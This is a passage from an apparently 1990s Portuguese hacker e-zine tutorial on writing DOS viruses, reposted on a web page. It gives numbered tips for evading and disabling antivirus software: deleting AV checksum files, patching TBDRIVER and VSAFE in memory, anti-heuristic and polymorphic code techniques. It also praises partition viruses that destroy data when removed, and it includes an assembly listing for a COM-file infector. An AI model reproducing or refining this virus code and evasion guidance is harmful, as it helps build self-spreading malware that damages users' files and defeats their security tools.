int 21H ;

mov ah, 04eh ; Procurar pelo primeiro subdiretorio.
mov cx, 00010001b ; Mascara do diretorio.
lea dx, maske_dir ;
int 21h ;
jc Erro ; Erro, sai.

pop bx ; Seta ponterio (DTA).
test BYTE PTR [bx+15H], 00010001b ; E um diretorio?
jz Find_next ; Nao, ache outro.
cmp BYTE PTR [bx+1EH],'.' ; E um cabecalho? ('.').
jne Real ; Nao, e um diretorio real!
Pega_DTA: ;
mov dx,OFFSET DTA2 ;
mov al,2BH ;
add dx,ax ; Retorna dx com o offset do DTA.
ret ; DTA2
db 56H dup (?) ; DTA p/ procura de diretorios
maske_dir db "*",00 ; Mascara p/ procura de diretorios.

Realmente interessante nao? E claro q o codigo esta chutado.. mas vc que o arrume.. se voce achar algum outro metodo interessante me avise :)

Grande parte dos AV tem falhas de seguranca, de forma a melhorar seu virus e dar mais trabalho quando alguem tentar estuda-lo, eu recomendo o seguinte:


8.) Nao infecte programas com overlays internos, eles serao corrompidos ou nao mais funcionaram apos a infeccao. Para checar isso, compare o ta manho real do arquivo com o tamanho do codigo indicado no cabecalho do EXE(offset 2 e 4 + paragrafos do cabecalho). Tambem e interessante verificar-se por 40h no offset 18h do cabecalho do EXE.


9.) Sete um novo stack correto para arquivos EXE infectados. Nao use CS=SS mas sim SS=CS+1, e nao use outros valores estranhos do SP. P/ dificul tar ainda mais a acao dos AV's, aumente o tamanho de paragrafos 'mini mos' requeridos no cabecalho do EXE. Com issso, o pessoal dos AV's nao ira poder simplesmente comparar o arquivo p/ validar o arquivo limpo


10.) Estabeleca um parametro minimo do tamanho de arquivos a serem infectados de forma a dificultar o uso de arquivos bites no estudo de seu virus. Tente nao infectar arquivos menores q 5000 ou maiores qe 10000 bytes. Tambem ignore arquivos q possuem data/hora recentes.


11.) Nunca resete a INT 13h enquanto estiver infectado arquivos, isso ira corromper seu HD super rapido quando cache de disco estiver sendo utilizado.


12.) Sete todos os registradores (AX-DX, SI/DI/BP) para 0 antes d retornar para o programa hospedeiro. Isso ira prevenir problemas no caso de programas q usam parametros na linha d comando.


13.) Sete a INT 24h p/ [mov al, 3 / IRET ] enquanto estiver infectado arquivos. Isso ira suprimir possiveis erros quando infectando-se arqui vos ou discos protegidos.

14.) Zere os atributos do arquivo antes de infecta-lo, virus nao podem infectar READ-ONLY.. depois, volte os atributos originais do arquivo

15.) Use estruturas anti-heuristicas. Existem muitos AV atualmente q fazem pesquisa heuristica... O F-PROT fede, mas o AVP e um bom exemplo na deteccao de virus via heuristica

Varias rotinas tais como as abaixo sao facilmente detectdas por qual quer AV. Evite coisas como:

       CMP [0],"Z"       (Procura pelo ultimo MCB) 

MOV [1],8 (Marca MCB como area do sistema)
SUB [3],xxxx (Corta MCB em xxx paragrafos)

MOV AX,2521h (Segura INT 21h)
INT 21h MOV [84],xxxx (Segura INT 21h diretamente)
MOV [86],cs MOV AX,[413] / (Modifica topo da memoria)
MOV [413],AX CALL $+3 (Pega IP corrente)
POP SI CMP [xxxx],"ZM" (Checa por arquivos EXE)
CMP AX,"ZM" CMP [xxxx],"XE" (Checa por extensao COM/EXE)
CMP [xxxx],"OC" MOV DI,100h (Restaura cabecalho d um arquivo COM)
MOVSW
MOVSB MOV [100h],xxxx
MOV [102h],yy MOV AX,100h (Pula p/ inicio do IP do arquivo COM)
PUSH AX
RET MOV AX,100h
JMP AX MOV AX,F592h (Checa instalacao)
INT 21h
CMP AX,2343h

16.) Use memoria extra.. e simples UMB, HMA ou mesmo memoria EMS. Veja i21h/5803h (DOS-UMB), i2Fh/4310h (XMS-UMB/HMA) e i67 (EMS)

Note q quando resitende em HMA, vc pode apenas usar a INT 13 para lere escrever. INT 21/3F e 40 nao iram funcionar

Ainda existem AV's q scanneiam apenas memorias acima d 640k. Nao mude o tamanho do ultimo MCB ou reduz o tamanha da memoria de topo. Muitos AV's ira detectar isso.

17.) Muitos virus infectam arquivos do modo padrao.. modificam o header e colocam-se no fim do arquivo.. esse tipo de infeccao e facilmente curada pelo NAV, TBCLEAN, e outros... Vc pode por exemplo a tecncia do virus Commander que inseria pedacos de seu codigo em posicoes aleatorias.. no entanto isso faz com que seja impossivel usar-se stealth completo


Virus infectore de particoes tais como o Stoner.Empire.Monkey.B, ou o GoldBug, possuem metodos de prevenir a removao atraves de um simples FDISK /MBR. Primeiro o virus deve possuir stealth d setores. O truque consiste-se em em apagar-se todos os dados da area d particao, exceto pelo codigo do virus e pela marca de boot em AA55h. Assim, se o virus nao estiver ascessivel, o disco torna-se inascessivel... Um simples FDISK /MBR e suficiente p/ foder-se todos os dados!!

O virus One_Half possui outro metodo, ele encripta todo o HD.. um se tor a cada vez q o sistema e reiniciado. Como ele uma uma chave alea toria, todos os dados sao perdidos c o virus for excluido da particao s/ antes desencripta-la.

18.) Nunca crie virus que irao fazer uma infeccao rapida e irao foder 10 arquivos d cada vez.. isso torna o sistema extremamente lento, e faz com q o virus seja facilmente pego. Virus infectores d apenas arquivos COM ou SYS nao irao longe.. isso e pura perda d codigo...E nunca de um upload de seu virus em alguma BBS de virus!

Os AVs com certeza possuem contas nelas e seus virus ira cair nas maos deles em questao d tempo.

19.) Pode-se facilmente deletar os arquivos de dados mais comuns usados pelos AV's, tais como:

	CHKLIST.CPS, CHKLIST.TAV, CHKLIST.MS, \BOOT.CPS, \BOOT.TAV, IVB.NTZ, 
\AV.CRC, AVP.CRC, \BOOT.NTZ, \PART.NTZ, SMARTCHK.CPS, ANTI-VIR.DAT,
\NCDTREE\*.*, ..

Na maioria das vezes o AV ira simplesmente recriar o arquivo s/ aler tar o usuario

Deletar-se todo o anti-virus nao e uma boa ideia pois o usuario nota ra isso facilmente. Existem virus qe atacam anti-virus especificos, e chegam mesmo a alterar os arquivos de configuracao ao inves d deleta los.. dessa forma, nunca ira se detectar alguma alteracao realizada pelo virus pois o proprio anti-virus esta fodido...

20.) Assim que seu virus cair na mao do pessoal da AV, em alguns dias ou mesmo horas sera feita uma vacina... mesmo q nao seja possivel limpar os arquivos, eles irao bolar um metodo de rastrear seu virus na memo ria... imagine o q seria se fosse possivel impedir o AV de scannear a memoria? He He.. e uma simples questao de se adicionar a opcao /NOMEM ou equivalente na linha d comando do AV..

Parametros sugeridos:

       F-PROT.EXE:         /NOMEM /COMPAT 
AVP.EXE /M
TBSCAN.EXE: CO NM
TBSETUP.EXE. RM
SCAN.EXE: /NOMEM (/BOOT)
AVSCAN.EXE: /NM
ANTIVIR.EXE: /NM
IVB.EXE: /S or /V
VSAFE.* /D
TSAFE.* /D
WIN.COM: /D:F

Se vc usar o 'CO' na linha d comando do TBSCAN, nao esqueca d direci onar a tela de 'FILE SYSTEM: DOS' de volta para 'FILESYSTEM: OWN'

21.) E simples desativar-se o VSAFE:

       MOV AX,FA01h 
MOV DX,5945H
INT 16h

Mas, agora com a nova versao do CPAV e do TSAFE (TNT), tal rotina fi cou inutil.. Um metodo melhor d desabilitar o TSAFE, TBDRIVER, SDRES, NAVTSR e outros.. e d seguir o TSR na memoria.

TBDRIVER pode ser facilmente desabilitado pois as veroes 6.2x e 6.3x apesar d novas, nao mudaram nada no TSR. A TBDRIVER-INT 21h e mais ou menos assim:

       EB 05        JMP Label_1 
EA xxxx yyyy JMP FAR PTR Old_Int21

Label_1: Apenas mude o 5 para 0 e TBDRIVER esta desabilitado. Chega de checks de memoria, de controle de ascessos e scaneamento.. he he... O unico problema que encontramos e' como encontrar a posicao do TSR ? Bom, se o usuario tiver carregado outros TSRs apos o TBDRIVER, a INT 21h estara escondida.. que tal correr atras da INT 21 e checar-se o codigo durante essa pesquisa ? Isso funciona, ja foi demonstrado no Havoc! Se voce nao quer fazer isso, procure entao no banco do MCB..

Particoes imunizadas via TBUTIL, VSAFE/TSAFE e NAVTSR tambem podem ser desativados da mesma forma

Como isso representa muito codigo, pode-se simplesmente chamar-se a i21/4b00 com um nome nao-existente ou s/ memora disponivel, apos ter se seguradoa INT 21. TBMEM salva seu mapa atual d memoria e a lista d interrupcoes quando a i21/4B00 e chamada e comparada quando o progra ma termina com a i21/4C. A chamada falsa a i21/4B00 ira simplesmente forcar o TBMEM a "esquecer" de limpar o ambiente e seu virus pode-se instalar sem maiores problemas

Outra solucao possivel e simplesmente para-se a instalacao e infeccao quando o virus perceber a presenva de TSR's AV's na memoria. Isso e' simples, basta por exemplo procurar no banco do MCB pela presenca de strings do tipo 'VSAFE', 'TBDRIVER', ..

Os TSRs do TBAV pode ser detectados abrindo-se 'TBDRVXXX', 'TBDSKXXX' ou 'TBFILXXX'. Eles contem os nomes dos devices instalados, se voce puder abri-los, isso significa q os TSRs estao ativos!

22.) Lento polimorfismo: geralmente um virus ira mutar-se a cada nova in feccao.. em Marco d 93 surgiu o virus Tremor.. em pouco tempo os AV's criaram uma vacina p/ ele, mas meses apos isso, F-PROT e TBSCAN ainda nao eram capazes d detectar variantes do Tremor. A razao e q o Tremor mutava-se extremamente devagar, se voce infecta-se varios arquivos em uma mesma data, as mutacoes nao iriam variar muito. Dai, meses apos, ehehe.. temos um mecanismo totalmente novo Os AV's nao tem muito tempo para testar um unico virus, assim, eles muitas vezes perdem de compreender totalmente o virus e tomam no cu!

Mesmo tal estrategia do Tremor pode ser hoje burlada nos testes dos AV's, por isso temos eq ser criativos: o Tremor mutava-se baseando-se na data, mas que tal se o virus gerar um mecanismo apenas na primeira infeccao, e depois simplesmente parar... hmmmm.. a mutacao fica muito lenta mesmo..assim, os AV's teriam que reiniciar o computador a cada nova infeccao d forma a ver as variantes.. hehe... q tal cerca d 1000 reboots?!? HAHAH

23.) Construcao polimorfica: Uma ultima ideia p/ o pessoal realmente interessado.. 99% dos kits de criacao de virus de hoje em dia sao primitivos.. os melhores possuem codigos polimorficos, mas geralmente sao fracos D+. Q tal ao inves d adicionar-se encriptacao polimorfica, fa zer-se geracao de codigo polimorfica?!? O TBSCAN e o AVP simplesmente desencriptam o virus e procuram por assinaturas, mas imagine se o co digo do virus se alterasse? He He hE.

Ao inves d usar:

	 MOV     AH,4Eh 
MOV CX,37h
LEA DX,[BP+xxxx]
INT 21h O virus ou o kit poderia fazer algo do tipo:

MOV CL,37h
MOV AL,4Eh
XCHG AL,AH
MOV CH,0
MOV DX,BP
ADD DX,xxxx
INT 21h ou

SUB CX,CX
OR CL,37h
MOV AH,1Eh
ADD AH,30h
CWD
OR DX,BP
SUB DX,-xxxx
PUSHF
CALL CS:DWORD PTR [Int_21]

No caso d um gerador de virus, cada instrucao iria variar-se randomi camente a cada vez que vc criasse um novo virus... no entanto, nao se deve possuir *NENHUM* codigo fixo, ou a assinatura ira aparecer Isso iria dificultar muito a deteccao de seu virus, os pesquisadores AV teriam que rodar o seu gerado varias vezes de forma a procurar por novas variantes, e no caso de um polimorfismo demorado, eles talvez nunca encontrassem todas as possiveis mutacoes! A desencriptacao do codigo nao iria ajudar, e seu virus nao precisa ria de mais nenhuma forma de prevencao polimorfica! Ho Ho Ho... Av


24). Encriptacao polimorfica e feita de forma a tornar a deteccao de seu mais dificil, no entanto, grande parte dos mecanismos q realizam isso podem ser facilmente detectados via assinaturas SMEG e DSCE sao interessantes... SMEG faz com qe o TBSCAN e o UVP di minuam muito a sua velocidade de procura, ja o DSCE produz um codigo que impede a pesquisa via heuristica

Existem varias coisas que voce pode e deve evitar, tais como nao usar muitos operandos simples como NOP, STI, CLI, CLC, .. Nao usar instru coes qe nao sao criadas pelo TASM/MASM pois elas irao apenas setar um novo flag no TBSCAN(flag '@'); evitar principalmente estupidos trukes anti-debugers como OUT 21,AL ou manipulacao da INT 1/3

No caso de um virus encriptado, e possivel fazer com que o TBSCAN e o AVP simplesmente pare de desencriptar seu virus: faca varios niveis d encriptacao, evite usar codigos lineares (capriche nos jumps), use as opcoes 286/386 -> ok, isso ativa o flag do TBSCAN, mas nao se forem usadas no segundo nivel de desencriptacao

Tambem faca uso de chamadas i21h absurdas, que simplesmente nao farao nada, tais como AH=4D, 54h, .. O TBSCAN ira parar a desencriptacao se encontrar isso. Use cabecalhos falsos do PKLITE, DIET ou mesmo LZEXE O TBSCAN ira apenas mostrar "Looking..." e nao ira abrir tal arquivo.


Isso e apenas algo basico, existem muito mais ideias e truques a serem usados d forma a se produzir um bom virus. Vc q descubra..

6. Virus COM's

Okz, apos termos tecnicos, merdas, e virus idiotas, esta na hora de nos dedicarmos a algo realmente interessante, virus de arquivos COM. Para entender isso, vc realmente precisa ter entendido o qe ja foi explicadao e ter um conhecimento ainda maior de assembly.. BUY A BOOK MOTHERFUCKER!!! Um p/ iniciantes que eu recomendo e o "Assembler" da Editora Erica.. e bem interessante. Para se contaminar arquivos COM's, e necessario antes de mais nada, sacar seu funcionamento e como ele e carregado na memoria... isso ja foi explicado anteriormente, entao vamos pular Como tambem ja foi explicado, o qe o virus faz e basicamente e basicamente alterar o arquivo hospedeiro (vitima) d forma a rodar-se antes dele. Quando a vitima e' executa, o virus roda primeiro, e apos ter terminado suas novas infeccoes e acoes malevolas (hehe), ele devolve novamente o controle ao hospedeiro, q ira rodar s/ perceber nada Nos arquivos COM, isso pode-se ser feito basicamente da seguinte forma:

Inicialmente o virus ira abrir o arquivo COM, e salvar seus respectivos 3 primeiros bytes. Feito isso, no lugar desses 3 bytes, o virus ira colocar uma instrucao de JMP, que apontara para o final do arquivo, onde o virus ira se instalar. Note que isso e salvo no HD, assim, os 3 bytes originais do arquivo passam agora a ser o JMP q aponta para o virus

Assim, quando o programa rodar, inicialmente pulara para o fim do arquivo q e onde o virus esta instalado, depois que o virus rodou, ele (o virus) voltara os 3 bytes originais do arquivo, e reseta tudo em 100h, fazendo c/ q o programa inicie-se novamente.. dessa vez, o programa rodara com seus 3 bytes originais e funciona normalmente. Note q essa sobre-posicao e feita apenas em RAM assim, quando o programa terminar, tudo volta ao normal, ou seja, os 3 primeiros bytes continuam sendo o JMP do virus

Para vc ter uma nocao melhor, imagine um arquivo COM normal como:

       1               2                    3 
__________ ____________________ __________________
| | | |
| | | |
|__________|____________________|__________________|
1 - Inicio do arquivo COM
2 - Meio
3 - Fim

Na maioria dos arquivos COM, eles sao rodados nessa ordem, 1, 2, 3. Quando um virus infectar um arquivo COM, ele ficara assim:

   1      3              4                 5                   2 
___ ________ ____________________ __________________ _____________
| | | | | |
|JMP| | | | VIRUS |
|___|________|____________________|__________________|_____________|

Quando terminar sua acao, o virus sobrepoe os 3 bytes originais no JMP, e devolve o controle ao programa COM. Assim, um virus inteligente, normalmente executa as seguintes instrucoes:

  1. Acha um arquivo a infectar.
  2. Salva atributos do arquivo.
  3. Zera os atributos do arquivo.
  4. Abre p/ Read/Write.
  5. Salva data/hora originais.
  6. Verifica se ja esta infectado.. se estiver, vai pra 8.
  7. Salva os primeiros 3 bytes e coloca o JMP.
  8. Copia o resto do virus p/ o fim do arquivo.
  9. Fecha
  10. Restaura data/hora/atributos
  11. Volta controle p/ hospedeiro
  12. Fim.

Vamos verificar isso em termos de codigo.

 ;---------------------------------------------------------------------- 
; Essa rotina procura por arquivos COM
;----------------------------------------------------------------------
Arq_com db "*.com",0

mov ah, 4eh ; Aponta p/ *.COM
mov dx, Arq_com ; Mascara p/ COM.
mov cx, 7 ; Qualquer COM.
int 21h ;

cmp ax, 12h ; Achou?
je exit ; Nao, exit...
jmp Contamina ; Sim, contamina.

; Aki, ao inves de dar um exit, vc poderia fa-
; zer virus mudar de diretorio ou algo assim...

Contamina:
mov di, [si+Arq] ; DI aponta p/ nome do arquivo.
push si ;
add si, Arq ; SI aponta p/ nome do arquivo.

mov ax, offset 4300h ; Pega atributos
mov dx, si ; Nome do arquivo em DX.
int 21h ;

mov Arq_attrib, cx ; Salva atributos.

Arq dw 0 ; Aqui nos salvamos o nome do arquivo.

mov ax, offset 4301h ; Setar atributo dos arquivos.
mov cx, offset 0fffeh ; Seta atributos p/ normal.
mov dx, si ; Nome do arquivo.
int 21h ;

mov ax, offset 3d02h ; Abre arquivo Read/Write.
mov dx, si ; Nome do arquivo em ASCIIZ.
int 21h ;

jnb ok ; Se abriu certo continua.
jmp Atributo_antigo ; Deu pau? restaura atributos
; antigos e termina.
ok:
mov bx, ax ;
mov ax, offset 5700h ; Pega data/hora.
int 21h ;

mov Hora_velha,cx ; Salva Hora original.
mov Data_velha,dx ; Salva Data original.

Hora_velha db 0 ; Variaveis usadas
Data_velha db 0 ; p/ armazenamento.

; Vamos agora infectar o arquivo, mas antes, salva-se
; os primeiros 3 bytes em algum lugar do virus.

mov ah,3fh ; Le arquivo.
mov cx,3 ; Numero d bytes a ler.
mov dx, 3_bytes ; Salva no buffer.
add dx,si ; Nome do arq.
int 21h ;

cmp ax,3 ; Leu corretamente?
jnz Arruma ; Nao, conserta o arquivo e sai.

3_bytes equ $ ; Os 3 bytes do arquivo original.
int 20h ; O virus tb esta infectado ;)
nop ;

; Move ponteiro p/ fim do arquivo

mov ax,offset 4202h ;
mov cx,0 ;
mov dx,0 ;
int 21h ;
mov cx,ax ; DX:AX e o tamanho do arquivo.
sub ax,3 ; Subtrai 3 por causa do ponteiro.

add cx,offset c_len_y ;
mov di,si ;
sub di,offset c_len_x ;
mov [di],cx ; Modifica o 2 e 3 byte do programa.

; Escreve virus no arquivo.

mov ah,40h ;
mov cx, Vir_tam ; Tamanho do virus.
mov dx,si ; Arquivo.
sub dx,offset Code_tam ; Tamanho do codigo do virus.
int 21h ;

cmp ax,offset Vir_Tam ; Escreveu todos os bytes?
jnz Arruma ; Nao, exita.

; Agora move-se o ponteiro p/ inicio do arquivo
; e sobre-escreve os 3 bytes com o JMP.

mov ax,offset 4200h ;
mov cx,0 ;
mov dx,0 ;
int 21h ;

mov ah,40h ; Escreve p/ o virus.
mov cx,3 ; # de bytes a escrever.
mov dx,si ; Nome do arquivo.
add dx, Salto ; Aponta p/ o JMP codificado.
int 21h

Salto db 0e9h ; Esse e o JMP q sera colocado no come-
; do arquivo hospedeiro.

; Restaura hora/data/atributos

Arruma:
mov dx, Data_velha ;
mov cx, Hora_velha ;
and cx,offset 0ffe0h ;
mov ax,offset 5701h ;
int 21h ;

mov ah,3eh ;
int 21h ; Fecha arquivo.


; Restaura atributos velhos.

Atributos_velhos:
mov ax,offset 4301h ;
mov cx, Velhos_atrib ;
mov dx,si ;
int 21h ;

;----------------------------- FiM -------------------------------------

Esse codigo e baseado no original do ParaSite ][.. Tal codigo possui dezenas de checagens de erros, q podem ou nao serem retiradas conforme sua vontade. Lembre-se q COM pode ter no maximo 64k! E bom testar isso antes. Ainda a oq ser feito, restaurar-se os atributos e tal... mas esse zine nao tem o proposito de dar nada d mao beijada, rale a bunda e faca vc mesmo.. nao queremos ver lames pegando isso e simplesmente compilando :P

. . . . . .

Okz, por enquanto e so'.. na proxima MOS eu coloco mais uma parte do manual. Se vc nao entendeu algo, leia isso de novo, mas nada de mails com perguntas estupidas.. se voce ao menos aprendeu algo novo entao esse texto ja conseguiu realizar o que eu tinha em mente quando o escrevi..

Treine bastante p/ estar pronto pros proximos topicos. AT++

Wiz4rd NOTA: Um dos futuros projetos da MOS envolve temas viroticos, se voce se considera bom e esta interessado em participar, entre em contato..

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT